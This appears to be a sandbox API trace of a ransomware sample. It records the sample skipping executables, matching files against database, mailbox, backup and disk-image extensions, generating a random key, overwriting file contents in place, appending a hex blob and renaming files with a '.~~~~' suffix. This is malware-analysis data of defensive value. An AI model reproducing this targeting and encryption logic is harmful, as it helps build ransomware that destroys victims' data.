	[0141.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".DBS") returned 0x0
	[0141.885] lstrlenW (lpString=".CKP") returned 4
	[0141.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".CKP") returned 0x0
	[0141.885] lstrlenW (lpString=".edb") returned 4
	[0141.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".edb") returned 0x0
	[0141.886] lstrlenW (lpString=".PST") returned 4
	[0141.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".PST") returned 0x0
	[0141.886] lstrlenW (lpString=".dbf") returned 4
	[0141.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".dbf") returned 0x0
	[0141.886] lstrlenW (lpString=".SQL") returned 4
	[0141.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".SQL") returned 0x0
	[0141.886] lstrlenW (lpString=".pst") returned 4
	[0141.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".pst") returned 0x0
	[0141.886] lstrlenW (lpString=".dbv") returned 4
	[0141.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".dbv") returned 0x0
	[0141.887] lstrlenW (lpString=".SDF") returned 4
	[0141.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".SDF") returned 0x0
	[0141.887] lstrlenW (lpString=".dtxs") returned 5
	[0141.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".dtxs") returned 0x0
	[0141.887] lstrlenW (lpString=".db3") returned 4
	[0141.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".db3") returned 0x0
	[0141.887] lstrlenW (lpString=".OST") returned 4
	[0141.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".OST") returned 0x0
	[0141.887] lstrlenW (lpString=".dbx") returned 4
	[0141.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".dbx") returned 0x0
	[0141.887] lstrlenW (lpString=".DB3") returned 4
	[0141.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".DB3") returned 0x0
	[0141.887] lstrlenW (lpString=".DAT") returned 4
	[0141.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".DAT") returned 0x0
	[0141.887] lstrlenW (lpString=".VHDX") returned 5
	[0141.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".VHDX") returned 0x0
	[0141.887] lstrlenW (lpString=".ndf") returned 4
	[0141.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".ndf") returned 0x0
	[0141.887] lstrlenW (lpString=".DB") returned 3
	[0141.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".DB") returned 0x0
	[0141.887] lstrlenW (lpString=".sql") returned 4
	[0141.887] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".sql") returned 0x0
	[0141.888] lstrlenW (lpString=".MYD") returned 4
	[0141.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".MYD") returned 0x0
	[0141.888] lstrlenW (lpString=".DBT") returned 4
	[0141.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".DBT") returned 0x0
	[0141.888] lstrlenW (lpString=".ACCDB") returned 6
	[0141.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".ACCDB") returned 0x0
	[0141.888] lstrlenW (lpString=".fdb") returned 4
	[0141.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".fdb") returned 0x0
	[0141.888] lstrlenW (lpString=".bak") returned 4
	[0141.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".bak") returned 0x0
	[0141.888] lstrlenW (lpString=".myd") returned 4
	[0141.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".myd") returned 0x0
	[0141.888] lstrlenW (lpString=".DTXS") returned 5
	[0141.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".DTXS") returned 0x0
	[0141.888] lstrlenW (lpString=".ckp") returned 4
	[0141.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".ckp") returned 0x0
	[0141.888] lstrlenW (lpString=".dbt") returned 4
	[0141.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".dbt") returned 0x0
	[0141.888] lstrlenW (lpString=".db") returned 3
	[0141.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".db") returned 0x0
	[0141.888] lstrlenW (lpString=".TXT") returned 4
	[0141.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".TXT") returned 0x0
	[0141.888] lstrlenW (lpString=".MDF") returned 4
	[0141.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".MDF") returned 0x0
	[0141.888] lstrlenW (lpString=".bdb") returned 4
	[0141.888] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".bdb") returned 0x0
	[0141.888] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0141.889] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0141.889] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0141.889] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0141.889] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0141.890] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0141.890] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0141.890] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0141.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0141.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0141.891] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26188073199) returned 1
	[0141.891] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbdfbb5f0, dwHighDateTime=0x1d60e1e)) 
	[0141.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0141.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0141.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0141.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a34c0
	[0141.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0141.891] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a34c0 | out: hHeap=0x300000) returned 1
	[0141.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0141.891] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0141.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3af1f0
	[0141.891] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0141.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0c98
	[0141.891] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3af1f0 | out: hHeap=0x300000) returned 1
	[0141.891] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0141.892] GetLastError () returned 0x0
	[0141.892] GetLastError () returned 0x0
	[0141.892] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0141.892] GetLastError () returned 0x0
	[0141.892] GetLastError () returned 0x0
	[0141.892] ReadFile (in: hFile=0x114, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x26dfec0*=0x4a66, lpOverlapped=0x0) returned 1
	[0141.895] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffb59a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.895] WriteFile (in: hFile=0x114, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x4a66, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x4a66, lpOverlapped=0x0) returned 1
	[0141.895] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0141.895] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.895] WriteFile (in: hFile=0x114, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0141.896] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0141.896] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0141.896] CloseHandle (hObject=0x114) returned 1
	[0141.896] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aecb0
	[0141.896] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir49b.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir49b.gif.~~~~")) returned 1
	[0141.898] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aecb0 | out: hHeap=0x300000) returned 1
	[0141.899] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0141.899] GetLastError () returned 0x0
	[0141.899] RtlWakeConditionVariable () returned 0x365f70
	[0141.899] GetCurrentThreadId () returned 0x9cc
	[0141.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".scr") returned 0x0
	[0141.899] lstrlenW (lpString=".cmd") returned 4
	[0141.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".cmd") returned 0x0
	[0141.899] lstrlenW (lpString=".dll") returned 4
	[0141.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".dll") returned 0x0
	[0141.899] lstrlenW (lpString=".bat") returned 4
	[0141.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".bat") returned 0x0
	[0141.899] lstrlenW (lpString=".cpl") returned 4
	[0141.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".cpl") returned 0x0
	[0141.899] lstrlenW (lpString=".sys") returned 4
	[0141.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".sys") returned 0x0
	[0141.899] lstrlenW (lpString=".msc") returned 4
	[0141.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".msc") returned 0x0
	[0141.899] lstrlenW (lpString=".com") returned 4
	[0141.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".com") returned 0x0
	[0141.900] lstrlenW (lpString=".lnk") returned 4
	[0141.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".lnk") returned 0x0
	[0141.900] lstrlenW (lpString=".msp") returned 4
	[0141.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".msp") returned 0x0
	[0141.900] lstrlenW (lpString=".pif") returned 4
	[0141.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".pif") returned 0x0
	[0141.900] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0141.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0141.900] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir49f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0141.902] lstrlenW (lpString=".sqb") returned 4
	[0141.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".sqb") returned 0x0
	[0141.902] lstrlenW (lpString=".ost") returned 4
	[0141.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".ost") returned 0x0
	[0141.902] lstrlenW (lpString=".txt") returned 4
	[0141.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".txt") returned 0x0
	[0141.902] lstrlenW (lpString=".mdt") returned 4
	[0141.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".mdt") returned 0x0
	[0141.902] lstrlenW (lpString=".BDB") returned 4
	[0141.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".BDB") returned 0x0
	[0141.902] lstrlenW (lpString=".eql") returned 4
	[0141.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".eql") returned 0x0
	[0141.902] lstrlenW (lpString=".DBF") returned 4
	[0141.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".DBF") returned 0x0
	[0141.902] lstrlenW (lpString=".EQL") returned 4
	[0141.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".EQL") returned 0x0
	[0141.902] lstrlenW (lpString=".FDB") returned 4
	[0141.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".FDB") returned 0x0
	[0141.902] lstrlenW (lpString=".EDB") returned 4
	[0141.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".EDB") returned 0x0
	[0141.903] lstrlenW (lpString=".DACPAC") returned 7
	[0141.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".DACPAC") returned 0x0
	[0141.903] lstrlenW (lpString=".VHD") returned 4
	[0141.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".VHD") returned 0x0
	[0141.903] lstrlenW (lpString=".DBV") returned 4
	[0141.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".DBV") returned 0x0
	[0141.903] lstrlenW (lpString=".dacpac") returned 7
	[0141.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".dacpac") returned 0x0
	[0141.903] lstrlenW (lpString=".sdf") returned 4
	[0141.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".sdf") returned 0x0
	[0141.903] lstrlenW (lpString=".accdb") returned 6
	[0141.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".accdb") returned 0x0
	[0141.903] lstrlenW (lpString=".DBX") returned 4
	[0141.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".DBX") returned 0x0
	[0141.903] lstrlenW (lpString=".MDT") returned 4
	[0141.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".MDT") returned 0x0
	[0141.903] lstrlenW (lpString=".SQB") returned 4
	[0141.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".SQB") returned 0x0
	[0141.903] lstrlenW (lpString=".vhd") returned 4
	[0141.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".vhd") returned 0x0
	[0141.903] lstrlenW (lpString=".bac") returned 4
	[0141.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".bac") returned 0x0
	[0141.903] lstrlenW (lpString=".mdf") returned 4
	[0141.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".mdf") returned 0x0
	[0141.903] lstrlenW (lpString=".BAK") returned 4
	[0141.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".BAK") returned 0x0
	[0141.904] lstrlenW (lpString=".BAC") returned 4
	[0141.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".BAC") returned 0x0
	[0141.904] lstrlenW (lpString=".dbs") returned 4
	[0141.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".dbs") returned 0x0
	[0141.904] lstrlenW (lpString=".vhdx") returned 5
	[0141.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".vhdx") returned 0x0
	[0141.904] lstrlenW (lpString=".NDF") returned 4
	[0141.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".NDF") returned 0x0
	[0141.904] lstrlenW (lpString=".dat") returned 4
	[0141.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".dat") returned 0x0
	[0141.904] lstrlenW (lpString=".DBS") returned 4
	[0141.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".DBS") returned 0x0
	[0141.904] lstrlenW (lpString=".CKP") returned 4
	[0141.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".CKP") returned 0x0
	[0141.904] lstrlenW (lpString=".edb") returned 4
	[0141.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".edb") returned 0x0
	[0141.904] lstrlenW (lpString=".PST") returned 4
	[0141.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".PST") returned 0x0
	[0141.904] lstrlenW (lpString=".dbf") returned 4
	[0141.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".dbf") returned 0x0
	[0141.904] lstrlenW (lpString=".SQL") returned 4
	[0141.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".SQL") returned 0x0
	[0141.904] lstrlenW (lpString=".pst") returned 4
	[0141.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".pst") returned 0x0
	[0141.904] lstrlenW (lpString=".dbv") returned 4
	[0141.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".dbv") returned 0x0
	[0141.905] lstrlenW (lpString=".SDF") returned 4
	[0141.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".SDF") returned 0x0
	[0141.905] lstrlenW (lpString=".dtxs") returned 5
	[0141.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".dtxs") returned 0x0
	[0141.905] lstrlenW (lpString=".db3") returned 4
	[0141.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".db3") returned 0x0
	[0141.905] lstrlenW (lpString=".OST") returned 4
	[0141.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".OST") returned 0x0
	[0141.905] lstrlenW (lpString=".dbx") returned 4
	[0141.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".dbx") returned 0x0
	[0141.905] lstrlenW (lpString=".DB3") returned 4
	[0141.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".DB3") returned 0x0
	[0141.905] lstrlenW (lpString=".DAT") returned 4
	[0141.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".DAT") returned 0x0
	[0141.905] lstrlenW (lpString=".VHDX") returned 5
	[0141.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".VHDX") returned 0x0
	[0141.905] lstrlenW (lpString=".ndf") returned 4
	[0141.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".ndf") returned 0x0
	[0141.905] lstrlenW (lpString=".DB") returned 3
	[0141.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".DB") returned 0x0
	[0141.905] lstrlenW (lpString=".sql") returned 4
	[0141.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".sql") returned 0x0
	[0141.905] lstrlenW (lpString=".MYD") returned 4
	[0141.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".MYD") returned 0x0
	[0141.905] lstrlenW (lpString=".DBT") returned 4
